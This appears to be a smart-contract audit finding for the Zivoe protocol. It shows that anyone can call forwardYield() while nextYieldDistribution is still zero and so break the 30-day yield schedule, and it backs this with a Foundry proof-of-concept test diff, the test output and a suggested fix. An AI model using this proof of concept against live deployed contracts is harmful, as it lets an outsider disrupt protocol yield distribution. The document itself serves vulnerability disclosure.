Able Cinnabar Tardigrade

high

# The `nextYieldDistribution` can be manipulated, compromising the functionality of `forwardYield`, which distributes yield every 30 days

## Summary

The `nextYieldDistribution` can be manipulated, thereby breaking the intended functionality of `forwardYield`, which should distribute yield every 30 days. Since `nextYieldDistribution` is always less than the `block.timestamp`, anyone can call `forwardYield` at any time. Additionally, the `nextYieldDistribution` only increases by *30 days* when `forwardYield` is invoked.


## Vulnerability Detail


The `nextYieldDistribution` records the time of the next Yield distribution. It's initialized in the `pushToLockerMulti` function only when it equals zero.

```solidity
    function pushToLockerMulti(
        address[] calldata assets, uint256[] calldata amounts, bytes[] calldata data
    ) external override onlyOwner nonReentrant {
        address ZVE = IZivoeGlobals_OCL_ZVE(GBL).ZVE();
        require(
            assets[0] == pairAsset && assets[1] == ZVE,
            "OCL_ZVE::pushToLockerMulti() assets[0] != pairAsset || assets[1] != ZVE"
        );

        for (uint256 i = 0; i < 2; i++) {
            require(amounts[i] >= 10 * 10**6, "OCL_ZVE::pushToLockerMulti() amounts[i] < 10 * 10**6");
            IERC20(assets[i]).safeTransferFrom(owner(), address(this), amounts[i]);
        }
//@audit the nextYieldDistribution can only be set when it is equal to zero
        if (nextYieldDistribution == 0) { nextYieldDistribution = block.timestamp + 30 days; }
```

However, anyone could call `forwardYield()` to set the `nextYieldDistribution` to 30 days before `pushToLockerMulti`. The checks in the `forwardYield` function are useless because the initial value of `nextYieldDistribution` is zero, and the `block.timestamp` is greater than zero.

Once `nextYieldDistribution` is set to 30 days, no one can change its value to the current `block.timestamp` because it can only be set to the current `block.timestamp` when it is equal to zero. Now, the restriction of distributing every 30 days is broken.

```solidity
    function forwardYield() external {
        if (IZivoeGlobals_OCL_ZVE(GBL).isKeeper(_msgSender())) {
            require(
                block.timestamp > nextYieldDistribution - 12 hours, 
                "OCL_ZVE::forwardYield() block.timestamp <= nextYieldDistribution - 12 hours"
            );
        }
        else {
            require(
                block.timestamp > nextYieldDistribution, 
                "OCL_ZVE::forwardYield() block.timestamp <= nextYieldDistribution"
            );
        }

        (uint256 amount, uint256 lp) = fetchBasis();
        if (amount > basis) { _forwardYield(amount, lp); }
        (basis,) = fetchBasis();
    //@audit if attacker call this function before `pushToLockerMulti`, 
    // the nextYieldDistribution is set to 30 days,
    //and can not be set to the current timestamp because it is not zero
        nextYieldDistribution += 30 days;
    }
```

### POC

In order to call the `forwardYield`, there should be a vaild *Pair(DAI, ZVE)* in the pool(the `fetchBasis` will revert if there are no such Pair because of the call to `totalSupply`), so the attacker need to `addLiquidity` to create this *Pair* before calling `forwardYield`.

Add the test to `zivoe-core-testing/src/TESTS_Lockers/Test_OCL_ZVE.sol` and run it with `forge test --match-test test_OCL_ZVE_SUSHI_forwardYield_timelock_set --rpc-url <RPC_URL_MAINNET> -vvv`

```diff
diff --git a/zivoe-core-testing/src/TESTS_Lockers/Test_OCL_ZVE.sol b/zivoe-core-testing/src/TESTS_Lockers/Test_OCL_ZVE.sol
index 989992f..1b7f0e2 100644
--- a/zivoe-core-testing/src/TESTS_Lockers/Test_OCL_ZVE.sol
+++ b/zivoe-core-testing/src/TESTS_Lockers/Test_OCL_ZVE.sol
@@ -1008,6 +1008,28 @@ contract Test_OCL_ZVE is Utility {

     }

+    function test_OCL_ZVE_SUSHI_forwardYield_timelock_set() public {
+        // give bob some asset to add liquidity
+        mint("DAI", address(this), 10*USD);
+        IERC20(DAI).transfer(address(bob),1e6);
+        IERC20(ZVE).transfer(address(bob),1e18);
+
+        // bob add liquidity to add the pair(DAI,ZVE)
+        hevm.startPrank(address(bob));
+        IERC20(DAI).safeIncreaseAllowance(SUSHI_V2_ROUTER, 1e6);
+        IERC20(ZVE).safeIncreaseAllowance(SUSHI_V2_ROUTER, 1e18);
+        (bool ret, bytes memory result) = SUSHI_V2_ROUTER.call(abi.encodeWithSignature("addLiquidity(address,address,uint256,uint256,uint256,uint256,address,uint256)", DAI, address(ZVE), 1e6,1e18,0,0,OCL_ZVE_SUSHI_DAI, block.timestamp+10 days));
+        //console.log("ret ",ret);
+        hevm.stopPrank();
+
+        console.log(" nextYieldDistribution start is ZERO : ", OCL_ZVE_SUSHI_DAI.nextYieldDistribution());
+        // Can call forwardYield() to set nextYieldDistribution() because nextYieldDistribution is ZERO
+        hevm.startPrank(address(bob));
+        OCL_ZVE_SUSHI_DAI.forwardYield();
+        hevm.stopPrank();
+        console.log(" nextYieldDistribution after forwardYield is (0 + 30 days) : ", OCL_ZVE_SUSHI_DAI.nextYieldDistribution());
+    }
+
     // Validate forwardYield() state changes.
     // Validate forwardYield() restrictions.
     // This includes:
```

Result:
```js
Ran 1 test for src/TESTS_Lockers/Test_OCL_ZVE.sol:Test_OCL_ZVE
[PASS] test_OCL_ZVE_SUSHI_forwardYield_timelock_set() (gas: 2503761)
Logs:
   nextYieldDistribution start is ZERO :  0
   nextYieldDistribution after forwardYield is (0 + 30 days) :  2592000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 34.57s (3.55s CPU time)

Ran 1 test suite in 35.53s (34.57s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Impact

Manipulating the `nextYieldDistribution` can disrupt the core functionality of `forwardYield`.

## Code Snippet

https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/lockers/OCL/OCL_ZVE.sol#L172-L186
https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/lockers/OCL/OCL_ZVE.sol#L287-L305

## Tool used

Foundry

## Recommendation

Add a check to the function `forwardYield` to make sure that the `nextYieldDistribution` is not zero.